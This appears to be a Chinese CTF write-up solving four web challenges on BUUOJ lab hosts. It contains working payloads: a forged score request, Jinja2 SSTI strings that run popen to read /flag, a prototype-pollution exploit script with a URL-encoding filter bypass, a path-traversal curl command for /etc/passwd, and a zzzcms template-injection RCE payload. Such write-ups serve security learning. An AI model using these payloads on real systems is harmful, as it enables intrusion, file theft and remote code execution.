目录
dino3d
Text Reverser
cbshop
zzz_again
dino3d
进来是一个js小游戏
先随便玩一下,显示要玩够1000000分
直接console改分数会被检测
先是JSFinder扫一下,扫出了check.php
到js里关键词索引搜索check.php
搜索sn,发现传入的参数是score和checkCode
搜索checkCode
搜索salt
import requests
from hashlib import md5
import time
target = "http://node5.buuoj.cn:27231/check.php"
headers = {
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
}
body = {
"score": "10000000",
"checkCode": md5("10000000DASxCBCTF_wElc03e".encode()).hexdigest(),
"tm": str((time.time()))[:10]
}
res = requests.post(target, headers=headers, data=body)
print(res.text)
Text Reverser
先随便测试功能
测出有对SSTI的waf
给一段字符逆向脚本
s = "待逆向字符"
r = s[::-1]
print(r)
{% print(7*7)%}
{%print ''.__class__.__bases__[0].__subclasses__()%}
找到os在132索引处
{%print ''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('tail /flag').read()%}
cbshop
先随便登录一下 ,有10元,但flag要11元
拿到附件审源码
flag位置在了/flag
admin信息
直接放控制台运行
成功以admin登录
现在钱是够够的了
但还是不能直接买flag
回头看源码,有这样一段逻辑
需要user.token属性为true
但代码中并没有定义token
可以在buyApi中利用assign打原型链污染
先令user.username为__proto__,污染Object.token属性
{"name": "/flag", "id": 2, "token": true}
打入污染
再以admin登录,去买flag,发现还是有限制要绕(就是传入的json数据不能包含flag关键字)
使用URL 实例可以正常读取文件,将 flag
进行url编码从而绕过
import requests
session = requests.Session()
url = "http://d6b2d3d7-8768-4eac-9cbb-f2f2be45b4ff.node5.buuoj.cn:81/" # 题目url
def login():
data = {
"username": "admin",
"password": "\uDE00admi"
}
session.post(url + "login", json = data)
def changeUsername():
data = { "username": "__proto__" }
session.post(url + "changeUsername", json = data)
def buyFlag():
data = {
"name":{
"href": 'file:///fl%61g',
"origin": 'null',
"protocol": 'file:',
"username": '',
"password": '',
"host": '',
"hostname": '',
"port": '',
"pathname": '/fl%61g',
"search": '',
"searchParams": "URLSearchParams {}",
"hash": ''
},
"id":2,
"token":True
}
res = session.post(url + "buy", json = data)
return res.text
if __name__ == '__main__':
login()
changeUsername()
flag = buyFlag()
print(flag)
zzz_again
XCTF高校挑战赛与zzzcms 2.1.4最新版前台RCE | Matrix
经过验证可以进行一个任意文件的读,但不知道flag路径,走不下去
curl -d "template=../../../../../../../../etc/passwd" -X POST http://node5.buuoj.cn:29834/search/
再去搜RCE的洞
Vuls/zzzcms/zzzphp V2.1.0 RCE/zzzphp V2.1.0 RCE.md at main · metaStor/Vuls · GitHub
直接照着打也打不通,高版本模板注入RCE入口的location估计不能是search了
进入解析模板
解析location
当location=list时,跟进parserList
最后进到parserListPage
发现其是从url中接参,最后做一些简单的拼接并替换掉正在执行的模板文件
一顿逻辑走下来后发现没有waf,到此我们就可以成功得到恶意的模板文件
接着再来看parserIfLabel对模板文件是怎么处理的
dangerkey有waf处理
过掉waf后可以往下走到eval拼接命令执行
最终payload:
/?location=list&aaa={if:=strtolower("SYSTEM")("cat /f111l00g")}{end if}&aaa=111